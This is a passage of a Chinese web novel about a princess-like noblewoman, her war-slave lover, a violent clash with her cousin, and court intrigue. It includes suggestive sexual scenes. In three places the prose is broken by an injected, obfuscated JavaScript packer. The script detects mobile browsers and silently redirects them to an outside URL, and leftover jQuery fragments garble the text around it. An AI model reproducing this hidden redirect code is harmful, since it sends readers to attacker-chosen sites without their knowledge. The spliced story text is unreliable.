程曦转动修养过一晚上的脑子,当即笑问:“‘叩问天地之道,探求人事之本;彼是莫得其偶,谓之道枢’的‘问枢’吧?勾合儒道医三家之言,好名字。” 确实是个好名字。 但这时候的人大多不识字,更不要提能够阅读到三家典籍,再把学会的知识反刍,用来给孩子取名了。 不会放纵一下,就中大奖,遇上奸细了吧? 程曦美眸低垂,仔仔细细观察着刘问枢的五官,审视起给了她一晌欢愉的男人,柔声问:“你可有什么本领?” “说一说,我好让下头人给你安排身份。”她指甲刮过战奴喉结。 喉结顿时上下滚动,锦裘被撑起得更明显了。 刘问枢垂下睫毛:“奴,善射。” “嗯。”程曦鼻腔里发出带着笑意的认同,“你昨晚表现过了。除此之外呢?” 年轻男人猛然抓紧身侧褥子,加重了呼吸,声音虚弱得几不可闻:“奴、奴……奴通文断字,也能做些文书工作。” “所以,你被抓之前是什么身份?”程曦眼中带着恰到好处的好奇。 她俯身重新趴回男人胸口,手指在他厚实的胸肌上打着圈,近乎叹息地说:“说给我听听,我想知道你的全部过去。” “乡君想知道哪些事情?” “什么都行,就从你出生还是说吧,你生得这般高大,父母一定也非常人。”程曦头也不抬便回答,手指在男人胸口拨弄。 男人呼吸不稳,勉强把卡在喉咙的喘息咽下肚。 他几乎抓破了身下的褥子才没发出不该出现的声响,一开口,嗓子沙哑得不成样子:“阿娘是被进献给襄王的美人。襄王幸过几回,便把阿娘送给一得力下属做妾。” “大母贤淑,不曾亏待我们母子,可六岁上头,大父战死,大母带着我们母子,再一次成了襄王的姬妾。” “襄王子嗣骄横,数次羞辱大母,我看不过,与他们争论厮打,被六人围殴,拼死咬断了襄王两子的手骨。襄王听后大为惊异,反而重视起我来,送我去名儒门下学习,又派大父亲弟指点我武功兵法。” “年满十三,我就开始跟着叔父的军队外出。一直到今年襄王大败南逃,我已从军八载。” 短短几句话概括了刘问枢的一生,他说完停声。 手下将领死了,把对方妻儿都接到自己身边作为姬妾供养教育的行为,实际上是表现出不必手下将领担心儿孙会在自己死后衣食无着。 原来是被尽心栽培过,难怪刘问枢能吃饱穿暖,长成个健壮的青年。 按理来说,刘问枢应该属于襄王最亲近的那群武将了。 襄王战败南逃,为什么把心腹精锐哪来当炮灰? “你们被襄王丢下了?” 刘问枢脸上终于出现严肃的神情,他郑重道:“我和叔父是甘愿留下为大王断后的。这样大母才能无牵无挂地随着襄王离开。” 前一句还是“大王”,后一句就成了“襄王”。 看来刘问枢是觉得他欠了襄王的养育之恩,在为襄王断后时候就偿还干净了。 程曦用脸颊蹭了蹭刘问枢的胸口:“你叔父也活着吗?” 怀中的身体顿时绷紧,放松时候柔软的肌肉变得硬邦邦的。 “叔父年老,不看苦役,已经殁了。” 程曦叹了口气,遗憾道:“可惜了,愿意为君王断后的都是忠臣。” 她仰起头,用指甲戳了戳刘问枢的嘴角:“我本想用你叔父威胁你不准对我有二心的,不过现在嘛……” 刘问枢一把握住程曦的手指,急道:“求乡君为奴叔父收殓。” 程曦反握住刘问枢的手,手指摩挲着男人手背滚烫的皮肤,说出口的话十分残忍:“官职和收殓你叔父,只能二选一。你可要想好了,机会只有一次。” “奴……知道的。”刘问枢没有和程曦讨价还价,只是微微红着眼睛低声回答。 程曦看了他一眼,恍然明白刘问枢为什么“知道”了。 ——他一生都在面临选择,太懂得选择的后果了。 “……我选为叔父收殓,”话落的同时,刘问枢揽住程曦,在床上翻身,将她压在卧榻上,发着抖将脸埋在程曦怀中,“只要,乡君别抛弃奴,奴就还有您可以依靠,奴愿意不在人前现身。” 程曦隐约觉得还有些不对劲,可脑子已经转不过来。 又是一场云雨后,她汗涔涔地仰面躺在榻上,好似背影一条巨蟒紧紧缠住。 她总算回想起之前的问题:“对了,你母亲呢?” “母亲与襄王重逢后,襄王没能认出她来,她伺候完襄王,回去便自尽了。”刘问枢把脸埋在程曦颈侧。 程曦感觉到一串温凉的泪珠落在她身上,心中一软,抬手摸了摸刘问枢的后脑勺,软下嗓音:“起来吧,梳洗用饭之后,我带你去街上逛一逛——为你叔父买一口好棺材。” “是,奴多谢乡君,必为乡君尽力。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051908|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘问枢连忙抹去泪水,起身之后,又红着脸返回,主动亲了亲程曦的脸颊,将她打横抱起,步入隔壁的浴房,亲手为她擦洗。 作为程太后孙辈唯一的女孩,程曦享受无上荣宠,享受的物质条件也无人能及。 因为自小爱洁净,程太后大手一挥,直接把附近温泉扩入公主府,专门为她开辟了随时能玩水的浴房。 热水包裹,酸软自身体抽离。 刘问枢跪在池外,一双手规规矩矩按摩着程曦的肩膀。 女子舒服地喟叹在浴房低低回响,侍女守在门口低垂着头,不敢入内。 “够了,你自己洗吧——来人。” 程曦一声令下,一串侍女鱼贯而入。 有人端着膏脂,有人捧着头油,有人举着新衣,谁也没看紧张到直接跃入水中把整个人埋起来的刘问枢,自顾自为程曦服务。 打扮停当,程曦回头,看到刘问枢只在水面上露出半个后脑勺的模样,情不自禁笑了。 “不想让人看你?觉悟还挺高。”她招招手,把全部侍女带离。 浴房的门重新合拢,刘问枢才从水中出来。 他用干布迅速擦净身体,小心翼翼地碰了碰留在桌面上的衣服。 指腹下,布料光滑柔软,内里衬着厚实的皮毛,足以抵挡严寒。 “多有不如……” 不如荣昌乡君的肌肤十分之一。 刘问枢捧起衣服,把脸埋入其中深深吸气,与少女体香相似的味道钻进鼻腔,终于为他带来熟悉之感。 他快速穿上衣物鞋袜,走出浴房后被等候的侍女带去用饭。 刘问枢脚下速度飞快,到了隔间,桌上摆了六菜一汤一饭。 饭菜诱人的香气一个劲儿往他鼻子里撞。 可刘问枢举目四望,却没看到程曦的身影。 “乡君呢?” 守在隔间的侍女视线顿时变得好像钢针,狠狠扎进刘问枢肉里。 她卷起唇角,翻了个白眼,才低声说:“乡君当然是在饭厅用膳,怎么能和下人同吃同睡。郎君做完已经犯错了,尽快认清自己的身份才好。” 下人。 这就是他在荣昌乡君身边的身份。 襄国将士变成了夏国的战俘和奴隶,他能衣食无忧,已经幸运。 刘问枢垂下眼帘,乖顺无比地答应:“多谢指点。” 侍女收了脸上不屑的表情,放平语气:“快吃吧,吃完了去用青盐刷牙。乡君要出门,断不可带着口气出现在贵人面前,丢乡君的脸面。” 刘问枢马上加快进食速度。 六菜一汤配饭全被送下肚。 * 刷牙换衣后,刘问枢被逮到程曦面前。 程曦照旧穿着长长的袍服,裙摆落在席子上,阳光照在她身上,布料上缠枝龙纹闪闪发亮,如同在游龙围绕着少女周身盘旋。 少女笑着朝他丢了一只脆桃:“拿着,我们走。” 刘问枢一把抓住,这才从对少女的美貌震撼中清醒。 他抬脚跟上,登车后跪在程曦身侧。 惬意时光在马车驶出公主府的瞬间结束了,一匹高头大马直接冲出来,蛮横地拦住了程曦去路。 “乡君留步。” 5. 第 5 章 深冬的风像割人的刀子,裹了皮毛的窗户贴心地把风挡在车外。 刘问枢似乎累坏了,上车后,就没了声音。 他在车厢里端坐很标准,双手把程曦给他的桃子抱在怀中,若非头不自觉枕在同样覆盖了皮毛的车壁上,没人能发现他已经悄然入睡。 这姿势应该很难受,但刘问枢脸上只有惬意,仿佛他是一只习惯于蜷缩身体,在任何地点酣然入睡的猛兽。 一道人影突然闯到车前,别停了马车。 “吁——!”车厢猛地一晃。 刘问枢头“咚”地狠狠撞在车壁上,精致的五官因为疼痛,龇牙咧嘴地扭曲到一起。 被他抱在怀中的桃子掉在车厢地板上,骨碌碌地滚远了。 在马蹄不安的踢踏声中,刘问枢一瞬间睁开眼睛。 他眼神仍旧迷茫,耳朵却捕到桃子滚动的声响,直接扑过去,把它重新抓回掌心。 桃子破皮了,甜蜜的汁水沾满年轻男人手指,他满脸无措地看向程曦。 战奴无措道:“乡君,桃子破了……” “乡君好大的架子!族兄在门外等了你一天一夜,你竟紧锁大门,始终避而不见!” 车窗被一剑捅开。 裹着窗户的皮草在剑下破碎,冷风“呼”地一声灌进车厢,吹得皮毛乱飞,兜头喷了程曦满脸,刺得她当场双目生痛,流下泪水。 “我的眼睛!”程曦捂住双眼,想要起身,却被长长的裙摆绊住脚步。 穿着罗袜的脚踩到坐具,脚下一滑,坐具与人同时倾倒。 “乡君!” “乡君小心!” 侍女急忙上前搀扶,勉强稳住程曦的身子,可她脚踝一阵刺痛,已经伤到了。 “先扶坐在桌面上,为乡君清洁双目。” 刘问枢当机立断,将桌面杯盘全部撤下,从丫鬟手里抢过程曦,小心翼翼地将她放在矮桌上,取出清水冲洗双眸。 “乡君,好些了么?”刘问枢虚握着程曦指尖,跪在地板上,仰望着少女,目光关切。 程曦点点头:“无碍了。” 刘问枢松了一口气,低头扶起坐具,膝行着向后退开,不再言语,只从地上捡回程曦投给他的桃子,惋惜地抚摸着洗去绒毛的表面,小声嘟哝:“都摔坏了。” “以后再给你,跟着我,不会短了你吃喝呢。”程曦不假思索地承诺。 刘问枢瞥了程曦一眼,笑意爬上精致的脸,用力点点头,又羞涩垂眸,探手牵住程曦,勾着她的手指:“乡君不必为我破费,我能吃饱就有力气。” 指尖痒痒的,似乎连心都被碰触了。 程曦脸上一红,竟然瞬间理解了刘问枢的暗示。 “够了!光天化日之下,你们、你们说得是些什么东西!”程旭恶狠狠地剜了程曦一眼,瞥见刘问枢的时候,却透出杀意。 程太后大权独揽,她三代子孙之中,只有程曦一个女孩,生得花容月貌,像极了程太后年轻时候,自小荣宠不断,身无寸功便已有了乡君的名位和两百户食邑。 程曦凝结了程家的美貌和皇室血脉,是他们程家的圣眷独照的代表。 程曦本可以嫁给皇子,再为程家延续四十年的盛宠。 可她做了什么? 她居然学起京中浪荡贵妇,直接把艳婢壮奴带回公主府过夜,让程家多年期待一朝成空。 程旭想起这事情就一阵怒上心头。 他的族叔,日耀长公主的丈夫,程曦的父亲程玉,昨天一整晚在程家大厅里面从东走到西,又从南走到北,一个劲儿的绕圈。 程玉嘴里念叨个不停,反复纠结入府的战奴到底是伺候哪位主人的,一会说日耀长公主对他痴情不悔,长公主怎么能对他不忠,让他当王八;一会骂荣昌乡君不知廉耻,小小年纪就养汉子,最后趴在地上嚎啕大哭,抓着他爹的裤腿不放,非让他爹帮忙想想办法。 程家能有什么办法? 日耀长公主是君,荣昌乡君虽然姓“程”,可她也躲在长公主府里不出门,程家连程曦的面都见不到,让他们怎么管? 程玉纯属是强人所难。 可程旭就算不管被程玉族叔一句接一句的“旭儿,你可是未来的族长,你不能不管”,他也有自己的打算。 ——程家的女郎,怎么能不为家族奉献! 程旭昨天在公主府外冻到宵禁,今天天刚亮,又被催着过来,已经冻了将近两个时辰了。 日上三竿才出门,堂妹真是太荒淫了! 程旭憋了一肚子火,开口没一句好腔调:“堂妹真是越发能耐了,太后刚为你办完及笄礼。你不想着和大皇子尽快谈妥婚事,反而先去挑选了一群战奴夜夜笙歌。今日还敢带这些玩意儿招摇过市。你把程家的脸面置于何地!” 程曦自小到大就没受过委屈。 即便程家人,她也只是表面客气,实际上只是懒得处理那些麻烦的事情,才偶尔退让。 被程旭不分青红皂白一顿数落,程曦当场没了好脸色,反唇相讥:“堂兄这般关心大皇兄被窝里有没有人暖着,可见对大皇兄一片真情。不如我向外祖母请旨,让你进宫给大皇兄做伴读吧——那寻常人家小厮每到主人家憋不住想泻火,就撅起屁股受着,堂兄去伺候大皇兄也正合适。” “你你你!——你真是粗俗不堪,寡廉鲜耻!”程旭被噎得一口气险些提不上来,脸涨得通红,声音徒然拔高,“你我一笔写不出两个‘程’字,一荣俱荣一损俱损,为何要羞辱自己族兄!” “凭我娘是日耀长公主,我外祖母是太后,我盛宠在身。” 程曦已经没有心情通知程家大皇子因为在内宫偷情,而失去继承权的消息了。 她两条弯月眉毛蹙了蹙,不咸不淡地说:“既然你如此看好大皇兄,在族中另选合适女子送进宫吧。我已同外祖母说清楚,不愿入宫,要自行婚配了。” 她说完,突然一笑,指着程旭讥讽:“堂兄,不知道的还以为你改行做门房了,跟石狮子一块守在门边上,真是相得益彰,体面得很。” 程旭领中郎将的官职,平时负责宫殿门户和皇帝贴身警卫。 程旭目眦欲裂,指着程曦,几乎要把唾沫星子都喷到她脸上:“你敢骂我是看门狗?是你亲手砸碎了程家的青云路!” “顶着‘程’这个姓氏,举孝廉都没你的份。你醒一醒吧,你纯粹是攀着女人裙带才有今日的,怎么有脸提‘青云路’。” 程曦掸了掸裙角不存在的灰尘,轻轻摆手,向侍女吩咐:“好狗不挡路,我们走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051909|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 马车重新启动,直接向前走,不避不让。 程旭连忙控着马闪到墙根底下,可还是被车厢擦上后背,狠狠撞了一下。 “程曦,你放肆!”程旭气血上涌,给程曦点颜色看看的心思彻底覆盖理智。 悬在腰间的佩剑出鞘,寒光一闪,竟不管不顾地捅进破损的窗户,对着车厢内一通乱挥! “我让你不知好歹,今天非要给你点教训!” “乡君小心!”刘问枢一把扑到程曦身上,双手扣住少女细腰,将她带到矮桌后的隐蔽处,死死压在她身上,为她挡住刀光剑影。 “你这该死的贱奴,都是因为你,程家多年的谋划全毁了!我要杀了你!” “嘀嗒。” “啊啊啊——!” 尖叫响起的一瞬间,粘稠的红色落在程曦眼中,她瞪大眼睛却什么都看不见。 破了皮的桃子就在程曦脸颊旁,桃香四溢,盖住血腥气。 “刘问枢?刘问枢!你还活着吗!”她抓进身上男人的衣襟,手中的衣料也粘稠得滑手。 “呲拉——” 衣料破损的声响再次响起,柔软的绸缎被暖洋洋的手指拖着擦去程曦脸上的血迹,“乡君别怕,很快就好。” 话音未落,刘问枢已然绷紧手臂肌肉,将剑尖卡死在自己体内,让程旭无法拔剑。 他大喝一声,猛然探身出窗,展臂一把薅住程旭的头发和卡死在官袍上的胸甲,直接把人从马背上拔葱似的扯进车厢。 “你干什么——呃!” 刘问枢在程旭眼前无限放大。 一个头槌砸在程旭脸上,他好像被千斤重锤敲中,脑中“嗡”的一声,顷刻失去意识。 “乡君,危险被我解决了。”刘问枢回头邀功。 冷风吹着他散落的碎发,在黑白分明的眼睛旁飘动。 青年表情纯真,简直像是邀功的猎犬。 他丢垃圾似的松开手,程旭顿时“咚”地一声摔出车窗,又砸在冻得结结实实的地面。 程旭一只脚还卡在马镫里,被受惊的骏马拖着一路狂奔。 宝剑仍旧卡在刘问枢手臂中,他不当一回事地抬手拔出,伤口里,又涌出一片赤红。 “你受伤了!——快,去太医署!”程曦被脸上仍旧带着没擦净的血痕,被吓得面色煞白,急急忙忙下令车夫改道。 刘问枢好像这才发现自己身上的伤口会疼,脸上的笑容慢慢消失。 “我……受伤了?” 他捂住伤口,嘶嘶地抽着气,眼睛飞快瞥视程曦,突然脱力地跌坐在地板上,头枕在了程曦怀中:“啊,好疼。” 程曦抱住刘问枢,手忙脚乱地压住不断出血的伤口:“很快就到太医署了,你会没事的。” 刘问枢枕在程曦膝头,慢慢眨着眼睛,仿佛失血也带走了他的神志。 过了一会,他才虚弱地摇摇头:“乡君放心,奴受乡君垂青,得一夕之欢已是此生不敢想的幸运。奴就算当即死了也是甘愿的,只求乡君能替我照顾好我那些同样被襄王抛弃的战友……” 他长长吐出一口气,热气落在少女小腿上,身子一软,没了声息。 “刘问枢?刘问枢!你醒醒,坚持住啊!”程曦一下慌了神。 6. 第 6 章 血的腥气和桃子的果香混合在车厢之中,平白酝酿出一股微妙而令人躁动的氛围。 马车一通狂奔,以最快速度抵达目的地。 璀璨的鎏金铜铃在阳光下爆发出惊人的光芒,一见便知这是荣昌乡君的车驾,无人胆敢阻拦。 马车顺利冲入太医署内,太医们带着徒弟迅速迎上来。 “可是乡君受伤了?” 程曦没有废话:“我的人被剑刺伤了手臂和后背,救活他。” “快把人抬下车,小心着些。”太医们不敢怠慢,几个年轻学徒马上抬来担架,把刘问枢小心翼翼地运进室内。 路过马车时,太医们纷纷调转视线,明明看到了破损的车窗,却没有一个敢于发问。 至于那句“剑伤”,更是无人置喙。 程曦着急地起身,脚踝突然传来一阵刺痛。 她咬紧牙根,扶着车壁稳定身体。 “乡君别动。”侍女连忙上前搀扶,“奴婢去背着乡君吧?” “路滑,别把你也带倒了。”程曦让侍女搀扶着,单腿跳着下车,全然不管姿态是否不雅。 “奴婢给县主提着裙摆,别踩了。” 另一个侍女上前,连忙抓起裙摆。 ——程曦待下人向来宽厚,可她们却不能因此就不尽职尽责。 太医署内鼓胀着艾草的清苦气味。 太医正躬身在诊疗床前,正在亲手为刘问枢清洗伤口。 刘问枢的新衣被彻底剪开,变成一地碎布,露出他伤痕累累的身体。 除了洞穿手臂的两道剑伤、背后几道被利刃划开的创口与一切旧伤外,青年脖颈、胸口和侧腰也遍布着暧昧的抓痕。 红红紫紫的一片,让人不知该把视线放在何处。 幸好太医正见多识广! 他在剑伤处涂满金疮药,然后从药柜里一手抓着一只大肚子瓷瓶返回,拔掉瓶塞,面不改色地倒了满手充满花香的药油,把药油在刘问枢身上推开。 金疮药覆盖住创口,血很快收住,可涂了药油的身体却在微光的照耀下更显肌肉饱满,蓬勃着奇异的诱惑。 太医用干净布巾擦掉手上药油,随手把擦手布丢弃进床下的陶盆的血水中。 大肚子瓷瓶被他放入程曦掌心,太医正绷着脸皮,声音飘忽:“这是内宫养身的药油,可润肤化瘀。男女皆可使用。” 他说完话,极快地瞥了程曦眼下的青黑和干燥的嘴唇,确定程曦没有暴怒,才继续补充:“乡君年少,房事不节恐伤肾精,还请保重自身,避免虚火上浮。下官为乡君抓一副滋阴润燥的汤药吧?” 程曦猛然捏紧瓷瓶,脸上热辣辣的。 “……有劳太医正了。”程曦伸出手腕,耳朵过重的血色却怎么也无法褪去。 她急忙转移话题:“我刚刚扭到脚了。” “乡君,骨伤不可轻忽,怎么不早说——闻歌,快来。”太医正急忙蹲下,检查程曦脚上的扭伤。 身着青衫的年轻男人从人后走出,跟着跪到程曦脚下。 “这是前任太医正许攸之子,许闻歌。”太医正脸上带上笑,满是看到未来可期的后辈的欣慰,“除了继承家学,专擅女科之外,对骨伤和外伤也特别有天分,连太后都夸奖过,常常宣他进宫推拿。骨科软伤,臣不如许闻歌,请乡君容他来诊治。” “嗯,让他来吧。” 褪去罗袜,拉高裤腿,脚掌被许闻歌握在掌心。 他观察着脚踝。 脚踝并未肿起,看不出异常。 但这是许闻歌第一次为贵人诊治,他不敢轻忽。 他握着程曦的脚踝,轻轻扭转了几下。 粉白的脚趾立刻蜷缩起,脚趾夹住他掌根的皮肤。 许闻歌停下动作,“这疼?” “你把我脚掌往下掰的时候才疼。”程曦咬着嘴唇,轻轻抽着气回答,眼睛有些红,却忍住了泪水。 太医正马上问:“闻歌,怎么样?” 许闻歌点点头:“伤不在脚踝,是脚心的小关节错位了,推正即可。” 他视线转向程曦,抿紧嘴唇,为难道:“正骨不难,但比较疼,乡君若是觉得叫喊不雅,可口衔一枚软木,亦或叼住手帕。” 程曦当然怕疼,这是人之常情。 可听到小太医在乎的只是她叫出来是不是面子不好看,反而放松了精神。 就算她的尖叫穿透太医署,又有哪个朝臣敢说她的是非呢。 她笑着拍拍许闻歌肩膀:“无妨,动手吧。” “谢乡君恕臣无礼……” 话到一半,许闻歌手上忽然用力。 程曦脚心猛然一痛,毫无准备地发出一声尖叫:“啊!” “乡君,好了。”许闻歌隐含笑意,起身后退。 程曦落脚,赤足踩着地板,来回“踮脚-落脚”几次,不疼了。 “许太医果然有一手俊功夫。” 侍女提着两份药材回来,一份五包,一份一包,向她禀报:“乡君,刘问枢醒了。” 程曦穿好鞋子起身:“我们走吧。” “臣等恭送乡君。” 待程曦一行人登车离去,许闻歌才发现随手别在腰间的雪白罗袜。 他动了动手指,那一抹白被不着痕迹地藏入袖中。 * 马车上,破损的窗户已被拆下。 钉在底板上的矮桌被挪到破损的窗户旁,空出一整片位置,皮毛坐垫被一并铺在此处。 程曦伸手指着吩咐:“你过去趴着。” 侍女询问:“乡君,还上街么?” 程曦气得弯眉扬起:“逛什么街,进宫告状。” 程家这几十年傍着程太后,太过猖狂,已经忘记做臣下的本分了。 刘问枢趴在软垫上,牵住程曦的手指,有气无力道:“族人关系重要。乡君不要为了奴,坏了和家人的感情。” 他嘴角出现了一个很浅的笑容,可眉尾低垂,让笑容充满了苦味。 “只是小伤而已。被押解进京的路上,奴受过的伤比这严重得多。那些,奴都能熬过来,现在好好处理过伤口,奴不会有事的。只可惜……” “可惜什么?”程曦顺口问。 刘问枢瑟缩了一下,声音几乎被含在嗓子眼里:“可惜不能用我这条贱命,给族人换乡君的怜惜了。” 他抓进程曦的手指,着急地解释:“天太冷了,他们不少人身上都带着伤,每日又要挖掘河道。若没有救助,这么消耗下去,大约熬不过今冬了。奴并非有二心,只是舍不得看着一条条命就这么没了,他们都是战场上能以一敌十的老兵,可以另有大用处的。” 程曦知道战俘都会被派去做最艰苦的工作,也知道没多少能活下去。 但她更清楚,这回大胜是程太后派出十五万大军才得来的。 胜是真,但这是一场惨胜。 夏国同样消耗不少,接下来至少三年,都需休养生息。 如果对待这群能打的襄王军太过仁慈,一旦战俘南逃,返回襄王身边,对夏国就太过不利了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17051910|194813||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 夏国好,程曦才会好。 她可以挑几个有才华的战奴回来,但不会随意施恩。 若想要把人都救回来,就要看刘问枢自己的本事了。 想要的,他自己建功换。 程曦狠心抽回手,捏着刘问枢的下巴认真道:“我不会帮你把人都带出来,以后不要再为了这种事开口向我求恩典。” 是“不会”,而非“不能”。 程曦不愿意! 刘问枢的睫毛颤抖着,终于闭上眼睛,声音发抖:“是奴任性了。” “知道就好,别恃宠而骄,我这一次不跟你计较。”程曦撇开视线,面无表情地看向窗外。 她的手再次被刘问枢勾住,却没甩开。 马车经过一道道检查进入宫门,停在长乐宫内廷的空地上。 侍人马上搬来马凳,恭敬地服侍程曦下车。 程曦脚刚落地,抬眼就看到了程家现在的族长、程太后的亲侄子程辉,带着程旭和她亲爹驸马程玉站在门口,等待程太后召见。 程辉不动如山,视线紧盯着殿门,当程曦不存在。 程玉狠狠瞪了亲女儿好几眼,目光扫过她身旁的战奴,越发不善。 程曦昂首展开手臂,直接把刘问枢挡在身后,然后,她不客气地对程玉翻了个白眼,略过不看。 当视线绕到最后面,她忍不住“噗呲”一声大笑起来。 程旭一张俊脸磕得青肿,已看不出原样,腋下还夹了根拐棍支撑着身体,好似瘸了腿。 “你笑……呜!”辱骂没说完,他赶紧抬手遮住缺了颗门牙的嘴。 “牙都磕掉啦?真活该,看你以后还敢不敢来找我麻烦!”程曦笑嘻嘻地鼓掌。 她故意回头摩挲着刘问枢的脸颊,凑过去亲了一口,然后大声说:“早知道你把事情办得如此妥当,我就准了你的请求。哼,想要伤我的人,也不配进入朝堂得享仕途——下次这种人再来挑衅,你只管狠狠的打,不用再留性命了。” 程旭彻底忍无可忍,拄着拐杖上前,挥起拳头准备动粗。 “闹够了没有?还嫌不够丢人么。这是你能胡闹的地方?”程辉一脚踹到儿子屁股上,把人踢倒。 “父亲,你打我?你应该打她啊!”程旭不甘心地抓着程族长衣袖指责。 程族长恨铁不成钢地甩开儿子的拉扯,拂袖叹息:“如此蠢货,怎么会是我儿子。” 到现在还没明白,这儿子毁得不冤枉。 幸好,他儿女众多。 还是尽快将次子带在身边亲自教导吧,免得任其发展,再养出个无药可救的蠢人。 房门开了一道细缝,内侍快步走下台阶。 程家三个男人都停下动作,围上去追着问:“太后得空了?” “请诸位稍后,太后正忙着。” 内侍推开送到眼前的红包,笑眯眯地弓着身子,向程曦谄媚道:“乡君受委屈了,太后命奴婢熬好了燕窝等着乡君呢。外头凉,乡君快请进殿。” “辛苦公公跑一趟,我这就进去。”程曦客客气气道谢,递了一块牌子给内侍,“自家碳铺,今年天冷,公公得空出宫,为家人填些炭火暖暖身子。” “多谢乡君。”内侍千恩万谢地接过牌子,快步赶往膳房取补品。 瞧瞧! 都是人,要不说宫里头当奴婢的都喜欢荣昌乡君呢?人家真惦记着他们的饱暖。 程曦笑着回头看了一眼,牵着刘问枢抬脚进门。 程家人站在寒风里,脸色青白交加。 7. 第 7 章 勤政殿的大殿立着一组纯金错银的白鹤造型香炉。幽香袅袅,阳光越过床栅,投射下白鹤灵动的光影。 地暖的热气蒸腾而上,室内温暖如春。 程太后在床前的长桌下端坐,身旁几名官员陪侍身旁,一同处理政务。 程太后头戴金冠,一根簪子固定浓密的发丝,除此之外身上再无其他配饰。 ——她早已过了需要打扮自己,获取宠爱来保证自己从君王手中分得权力的阶段了。 保养得宜的脸上已经有了岁月的痕迹,但岁月对程太后分外和善,保留了大部分美貌的同时,增加了令人目眩神迷的威仪。 只是此时,程太后的眼底蕴藏着挥之不去的倦色,看到心爱的外孙女也只微微牵起嘴角,“来了。” 她抬手示意,程曦马上加快脚步上前,握着程太后的手坐在她身旁。 刚坐下,程曦就自然而然地抢走朱批御笔,开始给程太后揉捏手腕,连声嘟哝:“进门就看到蜡烛已经燃了半根,您又早起理政了。太医都说您亏觉,说过多少回了?‘不可熬心血’,您总不肯听。” 下头诸臣该作什么,继续做什么,好似没听到程曦这番没大没小的话。 “小管家婆,没大没小的。要不哀家让成业扒内侍监的职务让给你算了,就会盯着我教训。”程太后倒是在程曦一开口就加深了笑意。 她掐了一把外孙女的脸颊,视线朝门口飞了一眼。 进门后,没人拦着刘问枢,他主动跪在门口的阴影中。 程太后年纪大了,看远处比看近处更加清晰,只一眼就发现被外孙女带来的男人身上紧紧裹着的是她外孙女的裘衣。 还算懂规矩。 程太后收回视线,手指从程曦眼眶擦过,笑道:“你还说我,自己昨晚不也没好好休息。” 程曦俏脸微红,抱住程太后手臂,直接把脸埋进她怀里,嗔道:“外祖母怎么也拿我打趣。” “我就你这么一个大宝贝。”程太后语速沉缓,声调偏低,带着久居上位的理所当然。 幸好,程太后晾着程家人,单独把程曦叫进来,也不是专门为了调侃外孙女的。 她直指重点:“怎么闹得这么大?” 不说对错,便是已经清楚刘问枢和程旭打架斗殴事情的来龙去脉了。 程曦越过这个问题,把问题推向程太后最无法忍耐的方向。 “这就要问问程家人的手都伸到何处了——我昨日出宫直奔战俘营,挑了人就走,一点没耽搁。可到程家门口时,已经有一群人等着找我讨说法了。” 给程曦拉车的四匹马,是程太后命人专门挑选的,各个都是万里挑一的宝马良驹。 战俘营在郊外二十里。 程曦去战俘营虽然没有遮掩行踪,可就算被人盯着,那些人一开始也不会想到程曦是过去从战奴里挑选男宠的。 那些话,她只在内宫提过。 泄密的是哪些人? 程太后身边用着这些人,她自己的安危如何保证? 消息怎么被传出的宫廷? 程家人又为什么要刺探程太后身边的秘闻?他们有什么阴谋? 程太后吃苦受罪一辈子才掌握皇权,可攀附在她身上的程家子弟享受荣光尚嫌不足,还要在她身边收买、安插人手,这何尝不是对程太后的羞辱? 给程家人上完眼药,程曦摇晃着程太后的手臂嗔道:“外祖母真该管管他们了。谁不知道我最听外祖母的话了?就算我的婚事有什么变化,那也应该想着是您对我有新安排了,哪里轮得到他们指手画脚的。” “就因为我不做皇子妃了,程旭居然直接举剑刺破了我的车窗,对我喊打喊杀的。那可是您专门给我打造的大车,他根本就是藐视皇权。” 皇权,多美妙的字眼。 程太后嘴角隐隐上扬。 程曦小鼻子一皱一皱的,“哼,我看他们一点都不明白,程家有今日,才不是靠着劳什子皇子、皇帝,他们不感激您照拂,倒想四处攀附,真糊涂。” 她突然转移话题,贴着程太后耳朵意有所指道:“外祖母,战俘营选来的几个战奴,都曾是襄王军中将领,识文断字、相貌整齐、体格又好。我送您三兄弟,是不是比娥皇女英还厉害。” 亲生的三个兄弟,能同时保证外形和才能,放哪里都是九九成稀罕物。 不论程太后打算收服后任用,还是当男宠,都是份送到心坎上的厚礼。 程太后一愣,怎么也没想到之前随口答应外孙女的话,这么快就有回音了。 她指着自己:“你办事真雷厉风行。不过,我都六十多的人,带着男宠……陛下恐怕不悦。” 儿子缠绵病榻,当娘的还有心情养男宠,怎么听都奇怪。 程曦用力摇头:“这可比舅舅听到您积极给皇子们和程家的姑娘保媒拉纤让舅舅安心多了。” 